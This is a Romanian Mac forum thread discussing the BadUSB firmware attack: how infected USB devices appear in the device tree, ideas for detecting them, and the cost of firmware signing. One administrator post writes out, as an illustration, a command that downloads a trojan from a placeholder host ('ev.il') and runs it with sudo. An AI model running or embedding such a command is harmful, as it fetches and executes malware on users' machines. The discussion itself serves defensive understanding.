BadUSB
  [ Ignoră ]
Avatar
RankRankRankRank
Sr. Member
Din: București
Macuser din: 23.03.09

http://www.wired.com/2014/10/code-published-for-unfixable-usb-attack/

Acum că este public pe Github, BadUSB “is coming soon to a USB device near you”.
Nu m-aș mira să cumpărăm în curând tastaturi sau stickuri sau hub-uri usb cu minunea asta gata instalată din fabrică.
Sau cabluri ieftine de aifon.

Ce-i de făcut ?
Practic este imposibil să te izolezi total de orice contact cu vreun dispozitiv usb străin.
Din ce citesc înțeleg că este total nedetectabil.
Un dispozitiv usb infectat, să zicem un stick, va apare în arborele de dispozitive usb cu o funcție suplimentară, de tastatură de exemplu, sau nu se vede nimic acolo ?
Firmware-urile astea usb sunt chiar atât de read-write ?
Un stick cu firmware infectat poate modifica firmware-ul controllerului usb din mac care să-i adauge o funcție de keylogger hardware de exemplu ?

 Semnătură 

Mac Mini Intel MGEN2LL/A, MC815LL/A - Sierra, MC239LL/A - ESXI 5.5, MB138LL/A Lion
Power Mac G4 M8787LL/A OpenBSD/macppc
Power Mac G5 Leopard
AppleTV2, iPhone 6+/64, iPhone 4, iPhone 2G

Profil
 
  [ Ignoră ]   [ # 1 ]
Avatar
RankRankRankRank
Administrator
Din: The Colony, TX
Macuser din: 11.10.05

Un device infectat va aparea cu mai multe functii in tree-ul USB:
Mouse + Flash Disk de exemplu. Sau sa apara ca un composite device in loc de Mouse.

Dar cine a facut firmware-ul rau, poate sa le faca sa nu activeze dispozitivele noi decat dupa o perioada - cand tu nu mai verifici.

E mult mai simplu pentru producatori sa faca dispozitivele programabile peste USB decat sa trebuiasca sa le desfaca si sa conecteze o mufa suplimentara. Cum le pot programa ei, asa le pot re-programa si oamenii rai.
Exista posibilitatea de One-Time-Programming, dar:
- microcontollerele cu OTP costa mai mult
- daca ai programat 10000 de tastaturi cu firmware gresit - daca sunt OTP le arunci, daca sunt reprogramabile, un chinez mic le face update la firmware-ul bun intr-o zi.

Firmware-ul controller-ului USB nu ar trebui sa poata fi manipulat decat de catre calculator.

Pentru productia de masa, “mai ieftin” va castiga intotdeauna in fata lui “mai sigur”.

 Semnătură 

Apple:5x macmini (G4, 2007, 2009, 2010, 2012)
UNIX:IBM 7011-250/AIX 5.1, HP Jornada 680/JLime, HP 9000 F20/HP-UX 11.11
PC:PentiumD/Debian, HP t5300/Debian
Misc:Spectrum 48k, 8x Raspberry Pi, 2x CHIP

Profil
 
  [ Ignoră ]   [ # 2 ]
Avatar
RankRankRankRank
Sr. Member
Din: București
Macuser din: 23.03.09

Deci dacă îmi arunc periodic ochii pe arborele usb, nu numai când conectez ceva nou, sau fac un script care să verifice zilnic, aș avea măcar o indicație că s-a întâmplat ceva, nu e chiar atât de invizibil.

Sigur, sigur ?

Nu poate fi ascunsă o funcție dintr-un device composite, sau chiar din controllerul de pe placa de bază, să nu apară în utilitarele care listează dispozitivele conectate la magistrala usb ?

 Semnătură 

Mac Mini Intel MGEN2LL/A, MC815LL/A - Sierra, MC239LL/A - ESXI 5.5, MB138LL/A Lion
Power Mac G4 M8787LL/A OpenBSD/macppc
Power Mac G5 Leopard
AppleTV2, iPhone 6+/64, iPhone 4, iPhone 2G

Profil
 
  [ Ignoră ]   [ # 3 ]
Avatar
RankRankRankRank
Administrator
Din: The Colony, TX
Macuser din: 11.10.05

Daca nu ai incredere in controller-ul de pe placa de baza, totul este deja pierdut.

Da, se poate face o aplicatie care sa stea in dock si sa verifica tree-ul USB din X in X secunde si sa anunte daca s-a modificat ceva.
Chiar daca e un device composite, daca vrea sa faca ceva, tot trebuie sa se anunte pe bus-ul USB, ca sa il vada calculatorul. Si ce vede calculatorul, vezi si tu.
Dar, dupa cum stim, 99.9% din utilizatorii de calculatoare nici nu stiu ce e aia USB Device Tree, daramite sa il verifice incontinuu.

 Semnătură 

Apple:5x macmini (G4, 2007, 2009, 2010, 2012)
UNIX:IBM 7011-250/AIX 5.1, HP Jornada 680/JLime, HP 9000 F20/HP-UX 11.11
PC:PentiumD/Debian, HP t5300/Debian
Misc:Spectrum 48k, 8x Raspberry Pi, 2x CHIP

Profil
 
  [ Ignoră ]   [ # 4 ]
Avatar
RankRankRankRank
Sr. Member
Din: București
Macuser din: 23.03.09

Ok, deci evenimentul care trebuie monitorizat este apariția unei funcții noi într-un device composite, din senin, sau a unui device cu totul nou, lucru care este raportat către sistemul de operare pe cale normală.
Câtă vreme e așa poate fi introdus un dialog care să ceară acordul explicit al utilizatorului înainte ca OS-ul să acceseze dispozitivul, de orice natură ar fi el.

 Semnătură 

Mac Mini Intel MGEN2LL/A, MC815LL/A - Sierra, MC239LL/A - ESXI 5.5, MB138LL/A Lion
Power Mac G4 M8787LL/A OpenBSD/macppc
Power Mac G5 Leopard
AppleTV2, iPhone 6+/64, iPhone 4, iPhone 2G

Profil
 
  [ Ignoră ]   [ # 5 ]
Avatar
RankRankRankRank
Sr. Member
Din: Arad
Macuser din: 20.06.09

Video cu modul de functionare si explicatii:
https://www.youtube.com/watch?v=nuruzFqMgIw

Profil
 
  [ Ignoră ]   [ # 6 ]
Avatar
RankRankRankRank
Sr. Member
Din: București
Macuser din: 23.03.09
psergiu - 03 Octombrie 2014 01:00 PM

Daca nu ai incredere in controller-ul de pe placa de baza, totul este deja pierdut.

Pot să-mi imaginez și pentru cazul ăsta un mod de a verifica.
Se “fabrică” un dispozitiv usb care se declară drept stick cu controller/firmware cunoscut drept vulnerabil, se conectează la mac-ul suspect și se monitorizează încercările de a rescrie firmware-ul stickului.

Sau un “usb transparent bridge” cu care se capturează traficul usb, presupun că există.

 Semnătură 

Mac Mini Intel MGEN2LL/A, MC815LL/A - Sierra, MC239LL/A - ESXI 5.5, MB138LL/A Lion
Power Mac G4 M8787LL/A OpenBSD/macppc
Power Mac G5 Leopard
AppleTV2, iPhone 6+/64, iPhone 4, iPhone 2G

Profil
 
  [ Ignoră ]   [ # 7 ]
Avatar
RankRankRank
Member
Din: Cluj Napoca
Macuser din: 09.02.13

Un lucru nu inteleg,ok un stick USB cu firmware modificat…ce poate sa faca?
-De afectat controller USB la apple nici o sansa,mai ales modelele noi au controllere USB dedicate foarte destepte cu o groaza de functii( pot da un datasheet pentru curiosi)
-De accesat/corupt firmware ul placi de baza/EFi aproape imposibil din sistemul de operare.
Ce ma sperie e ideea unui firmware care dupa x ore de somn sa “lege” un keyboard extern si sa inceapa sa caute prin keychan sau sa se conecteze la FaceTime din oficiu:)

 Semnătură 

...prin livada cu mere…

Profil
 
  [ Ignoră ]   [ # 8 ]
Avatar
RankRank
Jr. Member
Din: Bucureşti, Sectorul 6
Macuser din: 14.04.09

^Păi, așa, din stomac: Un device compromis ar putea să instaleze cu un timebomb un driver de tastatură virtuală care să capteze toate keystroke-urile tastaturii reale (fix ce face orice soluție de virtualizare, spre exemplu). Mai departe, ar putea rula un script ce descarcă și instaleaza transparent un troian. Și te trezești peste noapte slave în cine știe ce rețea botnet dubioasă. Teoretic, nu practic - că n-am apucat să-mi bag botul în mizeriile apărute prin Hub - ar putea să emuleze silent orice ALT device USB, cel puțin la nivel de firmware. Adaugi un timebomb în combinația asta, că doar nu o să te uiți din 5 în 5 min în Sys Report să vezi ce device-uri ți-au apărut prin tree-ul USB și ai o combinație cel puțin interesantă smile

P.S.: nu scriu ‘din burtă’ ci cu asta mă ocup: IT security and related.

 Semnătură 

1 x MB Pro 13 2011 (i5 2.3, 8GB DDR3, SSD+HDD Optibay)
1 x MB Pro 13 2015 (i5 2.7, 16GB DDR3, 1TB PCIe SSD)
1 x iMac 2014 27” (i7, 16 GB DDR, 1 TB HDD)
1 x iPhone 6S 16 GB.
1 x Apple TV 3rd Gen
1 x Apple TV 4th Gen

Profil
 
  [ Ignoră ]   [ # 9 ]
Avatar
RankRankRankRank
Sr. Member
Din: Cluj-Napoca
Macuser din: 26.01.06

Nu cred ca ar fi asa de greu pt sistemele de operare sa ghiceasca si sa blocheze astfel de stickuri

 Semnătură 

Mcintoshing…

Profil
 
  [ Ignoră ]   [ # 10 ]
Avatar
RankRankRankRank
Sr. Member
Din: Arad
Macuser din: 20.06.09

Ba da, cred ca ar fi greu, pentru ca sistemul de operare nu stie daca acelasi “hardware” zice ca este o tastatura, sau ca ai introdus un alt hardware care zice ca este tastatura. Insa ar merge ideea lui Maclean, ca la fiecare dispozitiv nou aparut, sistemul de operare sa intrebe daca chiar s-a conectat un nou dispozitiv, sau ca utilizatorul sa trebuiasca sa isi dea acordul ca sistemul de operare sa foloseasca hardware-ul nou.

Cam asemanator lucreaza in ziua de azi si stick-urile USB pentru internet mobil. Cand le conectezi prima data la calculator, apar ca un CD-ROM virtual de unde poti instala driver-ul. Dupa ce este deja instalat driver-ul, apar ca modem USB si nu ca CD-ROM virtual.

Profil
 
  [ Ignoră ]   [ # 11 ]
Avatar
RankRankRankRank
Administrator
Din: The Colony, TX
Macuser din: 11.10.05

Bus-ul USB este master-slave, asa că un alt device nu poate citi ce tastezi tu pe tastatura conectată în alt port USB - decât dacă ai un HUB compromis și tastatura ta trece prin acel HUB. Deci conectați întotdeauna tastatura direc în portul USB din mac.

Un device USB este identificat prin 2 coduri de 16 biti: VendorID si ProductID.
Crackeru’ cel rau poate face “tastatura” virtuala care tasteaza comenzile de download si instalare de troian să se identifice ca și 0x05ac:0x0220 - ID-ul de Apple Slim Aluminium Keyboard. OSX nu o să stea să te întrebe dacă ai conectat tastatura Apple, nu dă bine ...

Și uite de aia e bine să ai întotdeauna parolă la contul tău pe Mac - dacă pseudo-tastatura aia apasă Command+Space, Terminal, Enter, cd /tmp ; wget http://ev.il/trojan.app ; sudo /tmp/trojan.app, Enter - cât timp te întreabă o parolă la sudo, nu are cum să ruleze porcăria downloadată cu drepturi de administrator.

 Semnătură 

Apple:5x macmini (G4, 2007, 2009, 2010, 2012)
UNIX:IBM 7011-250/AIX 5.1, HP Jornada 680/JLime, HP 9000 F20/HP-UX 11.11
PC:PentiumD/Debian, HP t5300/Debian
Misc:Spectrum 48k, 8x Raspberry Pi, 2x CHIP

Profil
 
  [ Ignoră ]   [ # 12 ]
Avatar
RankRankRankRank
Sr. Member
Din: Cluj-Napoca
Macuser din: 26.01.06

Ma gandeam ca sistemul stie daca un dispozitiv usb cere sa se conecteze de 2 ori, abia atunci sa considere ca e ceva suspect.

 Semnătură 

Mcintoshing…

Profil
 
  [ Ignoră ]   [ # 13 ]
Avatar
RankRankRankRank
Sr. Member
Din: București
Macuser din: 23.03.09
psergiu - 05 Octombrie 2014 07:30 PM

OSX nu o să stea să te întrebe dacă ai conectat tastatura Apple, nu dă bine ...

O idee creață: smile
Macbookurile au un accelerometru, imacele și mac mini parcă nu. Când înfigi ceva pe bune în usb ăla cam simte o mișcare în front.
OS X ar putea să te întrebe “Dude, did’ya really plug a keyboard, cos’ I didn’t feel yo’ move” când apariția dispozitivului usb nu este însoțită de vreo indicație de la accelerometru.

 Semnătură 

Mac Mini Intel MGEN2LL/A, MC815LL/A - Sierra, MC239LL/A - ESXI 5.5, MB138LL/A Lion
Power Mac G4 M8787LL/A OpenBSD/macppc
Power Mac G5 Leopard
AppleTV2, iPhone 6+/64, iPhone 4, iPhone 2G

Profil
 
  [ Ignoră ]   [ # 14 ]
Avatar
RankRankRankRank
Sr. Member
Din: București
Macuser din: 23.03.09

De fapt și la urma urmei Apple Slim Keyboard și orice alt periferic usb Apple ar putea să aibă firmware semnat digital, nu ?

 Semnătură 

Mac Mini Intel MGEN2LL/A, MC815LL/A - Sierra, MC239LL/A - ESXI 5.5, MB138LL/A Lion
Power Mac G4 M8787LL/A OpenBSD/macppc
Power Mac G5 Leopard
AppleTV2, iPhone 6+/64, iPhone 4, iPhone 2G

Profil
 
  [ Ignoră ]   [ # 15 ]
Avatar
RankRankRankRank
Administrator
Din: The Colony, TX
Macuser din: 11.10.05

Daca înfingi un dispozitiv USB într-un prelungitor sau Hub - înseamnă că nu l-ai înfipt pentru că nu l-a “simțit” ?

Asta cu “semnatul digital” nu e bine.

O semnătură digitală este inutilă dacă nu poate fi verificată de o autoritate - asta înseamnă un calculator care se conectează la internet de fiecare dată când cuplezi un dispozitiv și spune ce ai făcut. “Cioc-cioc” bătu poliția la ușă. “In zona dva s-au distribuit bani falși și dumneavoastră sunteți una din perosanele care au și scanner performant, și imprimantă color - va trebui să le ridicăm, împreună cu calculatoarele din casă, pentru teste. Le vom returna peste câteva luni. Intre timp vă rugăm să nu părăsiți localitatea și să cooperați cu autoritățile”.

Sau le semnează pe toate cu aceiași cheie, și dacă un Gigel dezasamblează un update de firmware și extrage cheia, toate acele tipuri de tastatură deja pe piață vor fi blocate.

Cum s-a văzut cu DVD-urile și BlueRay-urile, Gigei există.

Poate vrei să zici că chipul din tastatură/mouse/stick trebuie să nu accepte un update de firmware dacă acesta nu a fost semnat digital. Aici este o problemă de cost. Un microcontroller destul de puternic să poată verifica o cheie de criptare complexă, costă mult. Nici un producător de dispozitive USB uzuale nu va dori să crească prețul cu 10$ pt asta. Folosirea unei chei slabe de criptare nu e o soluție - Gigel poate să o spargă.

Și ce ne facem cu milioanele de periferice deja existente ? Le aruncăm pę toate ?

 Semnătură 

Apple:5x macmini (G4, 2007, 2009, 2010, 2012)
UNIX:IBM 7011-250/AIX 5.1, HP Jornada 680/JLime, HP 9000 F20/HP-UX 11.11
PC:PentiumD/Debian, HP t5300/Debian
Misc:Spectrum 48k, 8x Raspberry Pi, 2x CHIP

Profil